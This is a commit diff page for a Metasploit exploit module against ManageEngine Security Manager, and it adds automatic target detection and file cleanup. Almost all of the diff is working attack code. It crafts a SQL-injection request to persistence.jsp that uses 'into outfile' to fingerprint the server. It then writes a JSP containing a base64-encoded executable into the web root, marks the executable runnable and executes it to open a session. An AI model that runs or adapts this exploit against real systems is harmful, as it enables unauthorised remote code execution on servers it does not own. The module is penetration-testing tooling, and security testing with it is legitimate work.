Skip to content

Commit 9054254

Browse files
committed
Add auto-target, and some changes to cleanup
1 parent 22223d5 commit 9054254

File tree

1 file changed

+91
-41
lines changed

1 file changed

+91
-41
lines changed

modules/exploits/multi/http/manageengine_search_sqli.rb

Lines changed: 91 additions & 41 deletions
Original file line numberDiff line numberDiff line change
@@ -34,11 +34,14 @@ def initialize(info={})
3434
['EDB','22094'],
3535
['BID', '56138']
3636
],
37+
'Platform' => ['win', 'linux'],
3738
'Targets' =>
3839
[
39-
['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' }],
40-
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }]
40+
['Automatic', {}],
41+
['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' }],
42+
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }]
4143
],
44+
'DefaultTarget' => 0,
4245
'Privileged' => false,
4346
'DisclosureDate' => "Oct 18 2012"))
4447

@@ -63,9 +66,39 @@ def check
6366
end
6467

6568

69+
def pick_target
70+
return target if target.name != 'Automatic'
71+
72+
rnd_num = Rex::Text.rand_text_numeric(1)
73+
rnd_fname = Rex::Text.rand_text_alpha(5) + ".txt"
74+
outpath = "../../webapps/SecurityManager/#{rnd_fname}"
75+
76+
@clean_ups << outpath
77+
78+
sqli = "#{rnd_num})) union select @@version,"
79+
sqli << (2..28).map {|e| e} * ","
80+
sqli << " into outfile \"#{outpath}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
81+
sqli_exec(sqli)
82+
83+
res = send_request_raw({'uri'=>"/#{rnd_fname}"})
84+
85+
# Linux = 5.0.36-enterprise
86+
# Windows = 5.0.36-enterprise-nt
87+
88+
if res and res.body =~ /\d\.\d\.\d\d\-enterprise\-nt/
89+
print_status("#{rhost}:#{rport} - Target selected: #{targets[1].name}")
90+
return targets[1] # Windows target
91+
elsif res and res.body =~ /\d\.\d\.\d\d\-enterprise/
92+
print_status("#{rhost}:#{rport} - Target selected: #{targets[2].name}")
93+
return targets[2]
94+
end
95+
96+
return nil
97+
end
98+
99+
66100
#
67-
# Remove the JSP once we get a shell.
68-
# We cannot delete the executable because it will still be in use.
101+
# We're in SecurityManager/bin at this point
69102
#
70103
def on_new_session(cli)
71104
if target['Platform'] == 'linux'
@@ -77,20 +110,23 @@ def on_new_session(cli)
77110
end
78111

79112
begin
80-
path = "../webapps/SecurityManager/#{@jsp_name + '.jsp'}"
81-
print_warning("#{rhost}:#{rport} - Deleting: #{@jsp_name + '.jsp'}")
82-
83-
if cli.type == 'meterpreter'
84-
cli.fs.file.rm(path)
85-
else
86-
del_cmd = (target['Platform'] == 'linux') ? 'rm' : 'del'
87-
path = path.gsub(/\//, '\\') if target['Platform'] == 'win'
88-
cli.shell_command_token("#{del_cmd} \"#{path}\"")
89-
end
90-
91-
print_good("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")
113+
@clean_ups.each { |f|
114+
base = File.basename(f)
115+
f = "../webapps/SecurityManager/#{base}"
116+
print_warning("#{rhost}:#{rport} - Deleting: \"#{base}\"")
117+
118+
if cli.type == 'meterpreter'
119+
cli.fs.file.rm(f)
120+
else
121+
del_cmd = (@my_target['Platform'] == 'linux') ? 'rm' : 'del'
122+
f = f.gsub(/\//, '\\') if @my_target['Platform'] == 'win'
123+
cli.shell_command_token("#{del_cmd} \"#{f}\"")
124+
end
125+
126+
print_good("#{rhost}:#{rport} - \"#{base}\" deleted")
127+
}
92128
rescue ::Exception => e
93-
print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}")
129+
print_error("Unable to delete: #{e.message}")
94130
end
95131
end
96132

@@ -99,9 +135,10 @@ def on_new_session(cli)
99135
# Embeds our executable in JSP
100136
#
101137
def generate_jsp_payload
102-
native_payload = Rex::Text.encode_base64(generate_payload_exe)
138+
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
139+
native_payload = Rex::Text.encode_base64(generate_payload_exe(opts))
103140
native_payload_name = Rex::Text.rand_text_alpha(rand(6)+3)
104-
ext = (target['Platform'] == 'win') ? '.exe' : '.bin'
141+
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
105142

106143
var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
107144
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
@@ -111,7 +148,7 @@ def generate_jsp_payload
111148
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)
112149
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)
113150

114-
if target['Platform'] == 'linux'
151+
if @my_target['Platform'] == 'linux'
115152
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
116153
chmod = %Q|
117154
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
@@ -161,14 +198,7 @@ def generate_jsp_payload
161198
jsp.unpack("H*")[0]
162199
end
163200

164-
165-
#
166-
# Run the actual exploit
167-
#
168-
def inject_exec
169-
# Inject our JSP payload
170-
hex_jsp = generate_jsp_payload
171-
201+
def sqli_exec(sqli_string)
172202
cookie = 'STATE_COOKIE=&'
173203
cookie << 'SecurityManager/ID/174/HomePageSubDAC_LIST/223/SecurityManager_CONTENTAREA_LIST/226/MainDAC_LIST/166&'
174204
cookie << 'MainTabs/ID/167/_PV/174/selectedView/Home&'
@@ -180,14 +210,9 @@ def inject_exec
180210
cookie << '2RequestsshowThreadedReq=showThreadedReqshow; '
181211
cookie << '2RequestshideThreadedReq=hideThreadedReqhide;'
182212

183-
rnd_num = Rex::Text.rand_text_numeric(1)
184-
sqli = "#{rnd_num})) union select 0x#{hex_jsp},"
185-
sqli << (2..28).map {|e| e} * ","
186-
sqli << " into outfile #{@outpath} FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
187-
188213
state_id = Rex::Text.rand_text_numeric(5)
189-
print_status("#{rhost}:#{rport} - Sending JSP payload")
190-
res = send_request_cgi({
214+
215+
send_request_cgi({
191216
'method' => 'POST',
192217
'uri' => "/STATE_ID/#{state_id}/jsp/xmlhttp/persistence.jsp",
193218
'headers' => {
@@ -202,13 +227,28 @@ def inject_exec
202227
'ANDOR' => 'and',
203228
'condition_1' => 'OpenPorts@PORT',
204229
'operator_1' => 'IN',
205-
'value_1' => sqli,
230+
'value_1' => sqli_string,
206231
'COUNT' => '1'
207232
}
208233
})
234+
end
235+
236+
#
237+
# Run the actual exploit
238+
#
239+
def inject_exec(out)
240+
hex_jsp = generate_jsp_payload
241+
rnd_num = Rex::Text.rand_text_numeric(1)
242+
sqli = "#{rnd_num})) union select 0x#{hex_jsp},"
243+
sqli << (2..28).map {|e| e} * ","
244+
sqli << " into outfile \"#{out}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
245+
246+
print_status("#{rhost}:#{rport} - Sending JSP payload")
247+
sqli_exec(sqli)
209248

210-
print_status("#{rhost}:#{rport} - Sending /#{@jsp_name + '.jsp'}")
211-
send_request_raw({'uri' => "/#{@jsp_name + '.jsp'}"})
249+
fname = "/#{File.basename(out)}"
250+
print_status("#{rhost}:#{rport} - Requesting #{fname}")
251+
res = send_request_raw({'uri' => fname})
212252

213253
handler
214254
end
@@ -218,9 +258,19 @@ def inject_exec
218258
# The server must start first, and then we send the malicious requests
219259
#
220260
def exploit
221-
@jsp_name = rand_text_alpha(rand(6)+3)
222-
@outpath = "\"../../webapps/SecurityManager/#{@jsp_name + '.jsp'}\""
261+
@clean_ups = []
262+
263+
@my_target = pick_target
264+
if @my_target.nil?
265+
print_error("#{rhost}:#{rport} - Unable to select a target, we must bail.")
266+
return
267+
end
268+
269+
jsp_name = rand_text_alpha(rand(6)+3)
270+
outpath = "../../webapps/SecurityManager/#{jsp_name + '.jsp'}"
271+
272+
@clean_ups << outpath
223273

224-
inject_exec
274+
inject_exec(outpath)
225275
end
226276
end

0 commit comments

Comments
 (0)